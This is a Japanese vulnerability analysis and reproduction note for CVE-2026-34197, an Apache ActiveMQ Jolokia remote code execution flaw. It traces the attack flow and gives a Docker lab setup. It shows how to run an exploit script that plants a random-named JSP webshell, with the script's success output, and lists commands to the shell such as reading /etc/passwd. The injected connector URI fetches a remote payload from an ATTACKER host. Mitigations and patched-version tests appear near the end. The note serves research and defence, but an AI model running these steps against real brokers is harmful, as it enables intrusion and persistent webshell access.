
Jolokia経由のApache ActiveMQ RCE脆弱性分析および再現ノート
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-34197 |
| CVSS | 8.8 (HIGH) |
| 脆弱性の種類 | リモートコード実行 (RCE) |
| CWE | CWE-20 不適切な入力検証 / CWE-94 コードインジェクション |
| 影響を受けるコンポーネント | Apache ActiveMQ Classic - Jolokia JMX-HTTP ブリッジ |
| 影響を受けるバージョン | < 5.19.4 および 6.0.0 ~ 6.2.2 |
| 修正済みバージョン | 5.19.4 / 6.2.3 |
| 開示日 | 2026-04-07 |
| 認証 | デフォルトでは必須。通常は admin:admin。バージョン6.0.0~6.1.1では、CVE-2024-32114と連鎖することで認証なしで到達可能な場合あり。 |
| 発見 | Anthropic ClaudeによるAI支援研究として報告。約13年間存在した後。 |
攻撃者
|
|-- 1. POST /api/jolokia/
| BrokerService.addNetworkConnector(String) を呼び出す
| 引数: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ ブローカー
|
|-- 2. URI をパースする。vm://evil は存在しないため、ActiveMQ は動的にブローカーを作成しようとする。
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. xbean: プロトコルがHTTP経由でリモートのSpring XMLファイルをフェッチする。
|
|-- 4. ResourceXmlApplicationContext がXMLをパースし、ProcessBuilder ビーンをインスタンス化する。
| init-method="start" コマンドは、設定検証がURIを拒否する前に実行される。
|
`-- 5. リモートコード実行に到達。
/api/jolokia/ を公開し、JMX-over-HTTP アクセスを提供する。addNetworkConnector を含む幅広い org.apache.activemq:* 操作を許可する。vm:// トランスポートの brokerConfig パラメータがリモートのSpring XMLを指すことができ、設定が拒否される前にビーンのインスタンス化が行われる。ActiveMQ 6.2.3では、addNetworkConnector() 内に vm:// トランスポートURIを拒否する検証が追加された。
"error": "VM scheme is not allowed"
| 項目 | 詳細 |
|---|---|
| 攻撃者ホスト | macOS(OrbStack Docker使用) |
| ターゲットイメージ | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| 実行ユーザー | amq (uid=33031) |
| ベースOS | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
status: 200 の応答でJolokiaに到達可能であることが確認できる。
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
このスクリプトは以下のアクションを実行する。
NetworkConnector の NC を削除し、繰り返しテストを確実に行えるようにする。addNetworkConnector リクエストを送信し、脆弱なコードパスをトリガーする。curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
addNetworkConnector() は NC という名前のコネクタを登録する。2回目の登録はJMXの名前の競合により失敗し、500エラーを返す。スクリプトでは、エクスプロイトをトリガーする前に removeNetworkConnector("NC") を呼び出すことでこれを処理している。
ActiveMQは組み込みJettyを使用しているが、webappsディレクトリはディスク上に存在し、JSPエンジンは新しく書き込まれた .jsp ファイルをコンパイルする。そのため、テスト環境ではWebshellの書き込みが可能である。
ペイロードはインラインbase64を使用してJSPを書き込む。
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
利点:
<、>、%、" など)によるXMLパースの問題を回避。ターゲットはSpring XMLペイロードをフェッチするために、攻撃者が制御するHTTPサーバーに到達可能である必要がある。ターゲットに攻撃者へのアウトバウンド経路がない場合、このエクスプロイトパスは完了できない。
CORSチェックにより、直接のJolokiaリクエストが403を返す場合がある。ターゲットに一致する Origin ヘッダを含めること。
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # 本レポート
|-- exploit_webshell.py # インラインbase64とランダムJSPファイル名を使用したワンショットWebshell書き込みツール
`-- upstream-poc/ # dinosn/CVE-2026-34197 からのファイルコピー
|-- docker-compose.yml # ActiveMQ 6.2.1 のラボ環境
|-- exploit_poc.py # serve/exploit/autoモードを持つ元のPoCスクリプト
`-- serve_payload.py # シンプルなペイロードHTTPサーバー
| スクリプト | 目的 | アウトバウンド要件 | Webshell |
|---|---|---|---|
exploit_poc.py | 任意のコマンドを実行する元のブラインドRCE PoC | 必須 | なし |
exploit_webshell.py | 書き込まれたJSP Webshellを通じたワンショット反射型RCE |
jetty.xml でJolokia APIを無効化する。admin:admin 資格情報を置き換える。| バージョン | イメージ | Jolokia応答 | RCE |
|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | 成功 (uid=0(root)) |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | 成功 (uid=33031(amq)) |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | 修正済み |
| XMLフェッチのみ必須 |
| ランダムファイル名で自動書き込み |